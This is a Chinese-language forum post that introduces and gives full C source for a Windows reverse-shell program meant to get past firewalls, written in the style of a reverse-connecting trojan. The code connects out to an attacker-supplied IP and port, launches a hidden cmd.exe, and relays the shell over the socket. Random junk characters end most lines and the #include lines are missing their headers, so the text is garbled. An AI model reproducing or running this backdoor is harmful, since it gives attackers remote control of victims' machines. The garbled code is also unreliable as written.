这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0=1T.4+=
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/* ============================== #h
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Rebound port in Windows NT Y]2A&0
By wind,2006/7 qfm|@v|De5
===============================*/ K?1W!fY
#include /7F:T[
#include _Q 4)X)F
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#pragma comment(lib,"wsock32.lib") _A9AEi'.
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void OutputShell(); >}i E(
SOCKET sClient; }|NCboM^_
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y.rsR6
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void main(int argc,char **argv) OA;XiR$xP
{ 33B]RGq
WSADATA stWsaData; {cVEmvE8
int nRet; 4vB<fPN
SOCKADDR_IN stSaiClient,stSaiServer; $uVHSH5l
ENs&RZ;
if(argc != 3) t-bB>q#3>
{ UySZbmP48
printf("Useage:\n\rRebound DestIP DestPort\n"); VuZuS6~#J
return; V {ddr:]4
} Dp-z[]})1
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WSAStartup(MAKEWORD(2,2),&stWsaData); F{;((VboN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BUXpCxQ
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stSaiClient.sin_family = AF_INET; R!gEwTk
stSaiClient.sin_port = htons(0); )1`0PJoHE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j'"J%e]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $DaNbLV
{ r52gn(,
printf("Bind Socket Failed!\n"); 6mxfLlZ
return; 00~mOK;1
} 9EibIOD^/
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stSaiServer.sin_family = AF_INET; U8n V[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M-Y_ Wb3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R8Fv{7]c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Q sCheHP
{ B*Dz{a^.:
printf("Connect Error!"); $5%SNzzl
return; ;+hH
} jasy<IqT!{
OutputShell(); k=T\\]KxC
} ?J>
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void OutputShell() 6q.Uhe_B
{ Si;H0uP O
char szBuff[1024]; MeZf*'
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SECURITY_ATTRIBUTES stSecurityAttributes; F0Yd@Lk$_
OSVERSIONINFO stOsversionInfo; u>a5GkG.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <$Yd0hxjU
STARTUPINFO stStartupInfo; Ry6@VQ"NLb
char *szShell; {8bSB.?R
PROCESS_INFORMATION stProcessInformation; ^>v+(
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unsigned long lBytesRead; -;WGS o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )R1<N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0[W:d=C`a
stSecurityAttributes.lpSecurityDescriptor = 0; U26}gT)
stSecurityAttributes.bInheritHandle = TRUE; 5vnrA'BhBU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <*cikXS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); D_zZXbNc
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ml
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A_q3KB!$=+
stStartupInfo.wShowWindow = SW_HIDE; U9MxI%tb
stStartupInfo.hStdInput = hReadPipe; oE]QF.n#
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; AFE~
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GetVersionEx(&stOsversionInfo); hv>\gBe i
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switch(stOsversionInfo.dwPlatformId) 8&b,qQ~
{ O)r4?<Q
case 1: %| Lfuz*
szShell = "command.com"; ^SrJu:Q_
break; OYn}5RN
default: FXkM#}RgNm
szShell = "cmd.exe"; IF:;`r@%
break; "oO%`:pb
} }b.%Im<3R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U
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send(sClient,szMsg,77,0); h>m"GpF
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while(1) k~1?VQ+?M
{ #!+:!_45
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uJ v-4H
if(lBytesRead) {&1/V
{ PB\x3pV!}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gp.^~p]x
send(sClient,szBuff,lBytesRead,0); ?m"( Soh
} *u;Iw{.{
else 1#+S+g@#
{ p H2Sbs:Tk
lBytesRead=recv(sClient,szBuff,1024,0); v):Or'$~M
if(lBytesRead<=0) break; ;>7De8v@@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q*~]h;6\{d
} z!9-:
} Vs!Nmv`
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return; t;\Y{`
}